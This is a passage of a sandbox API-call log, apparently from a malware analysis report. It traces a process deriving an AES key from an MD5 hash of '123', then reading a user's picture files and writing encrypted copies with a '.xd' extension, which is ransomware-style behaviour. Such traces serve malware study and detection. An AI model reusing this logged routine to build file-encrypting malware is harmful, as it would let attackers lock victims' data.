wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0061.126] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0061.126] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0061.126] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0061.126] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0061.126] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0061.126] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0061.126] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0061.126] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0061.126] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.126] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.126] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0061.126] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0061.126] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0061.126] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0061.126] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0061.127] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptCreateHash", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0061.127] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptCreateHash", cchWideChar=16, lpMultiByteStr=0x16214e0, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptCreateHash", lpUsedDefaultChar=0x0) returned 16 [0061.127] GetProcAddress (hModule=0x74c60000, lpProcName="CryptCreateHash") returned 0x74c7f930 [0061.127] CryptCreateHash (in: hProv=0x17aa340, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x130e600 | out: phHash=0x130e600) returned 1 [0061.127] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.127] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.127] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.127] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.127] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0061.127] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x1629520, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="123", lpUsedDefaultChar=0x0) returned 4 [0061.127] CharLowerBuffW (in: lpsz="byte[3]", cchLength=0x7 | out: lpsz="byte[3]") returned 0x7 [0061.127] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.127] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0061.127] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x1629410, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="123", lpUsedDefaultChar=0x0) returned 4 [0061.127] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.127] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0061.127] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0061.127] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0061.127] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptHashData", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0061.128] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptHashData", cchWideChar=14, lpMultiByteStr=0x1621810, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptHashData", lpUsedDefaultChar=0x0) returned 14 [0061.128] GetProcAddress (hModule=0x74c60000, lpProcName="CryptHashData") returned 0x74c7f950 [0061.128] CryptHashData (hHash=0x164c870, pbData=0x1629520, dwDataLen=0x3, dwFlags=0x1) returned 1 [0061.128] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.128] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.128] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.128] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0061.128] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0061.128] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0061.128] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0061.128] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0061.128] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDeriveKey", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0061.128] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDeriveKey", cchWideChar=15, lpMultiByteStr=0x1621870, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDeriveKey", lpUsedDefaultChar=0x0) returned 15 [0061.128] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDeriveKey") returned 0x74c95b70 [0061.128] CryptDeriveKey (in: hProv=0x17aa340, Algid=0x6610, hBaseData=0x164c870, dwFlags=0x1, phKey=0x130e600 | out: phKey=0x130e600*=0x164c830) returned 1 [0061.128] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.129] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.129] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.129] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.129] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.129] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0061.129] PeekMessageW (in: lpMsg=0x130e73c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e73c) returned 0 [0061.129] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0061.129] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyHash", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0061.129] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyHash", cchWideChar=17, lpMultiByteStr=0x164e030, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDestroyHash", lpUsedDefaultChar=0x0) returned 17 [0061.129] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDestroyHash") returned 0x74c7fbf0 [0061.129] CryptDestroyHash (hHash=0x164c870) returned 1 [0061.129] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.129] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0061.129] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0061.129] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0061.129] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0061.129] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Tna4ykb0U1\\ccPLOC5JnNq\\z4Jy f_\\7kRkNo4Q3fZy.jpg" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\tna4ykb0u1\\ccploc5jnnq\\z4jy f_\\7krkno4q3fzy.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2ac [0061.130] SetFilePointerEx (in: hFile=0x2ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0061.130] SetFilePointerEx (in: hFile=0x2ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x130ed38 | out: lpNewFilePointer=0x0) returned 1 [0061.130] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0061.130] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0061.130] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0061.130] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Tna4ykb0U1\\ccPLOC5JnNq\\z4Jy f_\\" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\tna4ykb0u1\\ccploc5jnnq\\z4jy f_")) returned 0x10 [0061.130] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Tna4ykb0U1\\ccPLOC5JnNq\\z4Jy f_\\7kRkNo4Q3fZy.jpg.xd" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\tna4ykb0u1\\ccploc5jnnq\\z4jy f_\\7krkno4q3fzy.jpg.xd"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3bc [0061.131] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0061.131] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0061.131] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0061.131] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0061.133] SetFilePointerEx (in: hFile=0x2ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x130ed88 | out: lpNewFilePointer=0x0) returned 1 [0061.133] ReadFile (in: hFile=0x2ac, lpBuffer=0x17aedd8, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x130edb0, lpOverlapped=0x0 | out: lpBuffer=0x17aedd8*, lpNumberOfBytesRead=0x130edb0*=0x10000, lpOverlapped=0x0) returned 1 [0061.134] ReadFile (in: hFile=0x2ac, lpBuffer=0x17aedd8, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x130edb0, lpOverlapped=0x0 | out: lpBuffer=0x17aedd8*, lpNumberOfBytesRead=0x130edb0*=0x7c3f, lpOverlapped=0x0) returned 1 [0061.135] ReadFile (in: hFile=0x2ac, lpBuffer=0x17aedd8, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x130edb0, lpOverlapped=0x0 | out: lpBuffer=0x17aedd8*, lpNumberOfBytesRead=0x130edb0*=0x0, lpOverlapped=0x0) returned 1 [0061.139] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0061.139] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0061.139] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0061.139] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTDATA", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTDATA") returned 0x12 [0061.140] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.140] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.141] CharUpperBuffW (in: lpsz="__CRYPT_GETCALGFROMCRYPTKEY", cchLength=0x1b | out: lpsz="__CRYPT_GETCALGFROMCRYPTKEY") returned 0x1b [0061.141] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0061.141] CharLowerBuffW (in: lpsz="uint;dword", cchLength=0xa | out: lpsz="uint;dword") returned 0xa [0061.141] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0061.141] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0061.141] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0061.141] PeekMessageW (in: lpMsg=0x130e0cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e0cc) returned 0 [0061.141] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0061.141] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptGetKeyParam", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0061.141] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptGetKeyParam", cchWideChar=17, lpMultiByteStr=0x164dfb0, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptGetKeyParam", lpUsedDefaultChar=0x0) returned 17 [0061.142] GetProcAddress (hModule=0x74c60000, lpProcName="CryptGetKeyParam") returned 0x74c95c90 [0061.142] CryptGetKeyParam (in: hKey=0x164c830, dwParam=0x7, pbData=0x1629520, pdwDataLen=0x130e0e8, dwFlags=0x0 | out: pbData=0x1629520*=0x6610, pdwDataLen=0x130e0e8*=0x4) returned 1 [0061.142] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0061.142] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0061.142] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.142] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.142] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.142] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.142] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.142] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.142] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0061.142] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0061.142] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0061.142] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0061.142] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0061.142] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0061.143] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0061.143] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0061.143] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0061.143] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0061.143] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.143] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.143] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.143] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.143] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0061.143] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0061.144] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0061.144] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0061.144] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x16216c0, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptEncrypt", lpUsedDefaultChar=0x0) returned 13 [0061.144] GetProcAddress (hModule=0x74c60000, lpProcName="CryptEncrypt") returned 0x74c95bd0 [0061.144] CryptEncrypt (in: hKey=0x164c830, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x130e618*=0x17c3f, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x130e618*=0x17c40) returned 1 [0061.144] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.145] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.145] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.145] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.145] CharLowerBuffW (in: lpsz="byte[97345]", cchLength=0xb | out: lpsz="byte[97345]") returned 0xb [0061.145] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.147] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.147] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0061.147] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0061.147] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0061.147] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0061.147] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x1621b40, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptEncrypt", lpUsedDefaultChar=0x0) returned 13 [0061.148] GetProcAddress (hModule=0x74c60000, lpProcName="CryptEncrypt") returned 0x74c95bd0 [0061.148] CryptEncrypt (in: hKey=0x164c830, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x1884c50*, pdwDataLen=0x130e618*=0x17c3f, dwBufLen=0x17c40 | out: pbData=0x1884c50*, pdwDataLen=0x130e618*=0x17c40) returned 1 [0061.148] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.148] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.148] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, 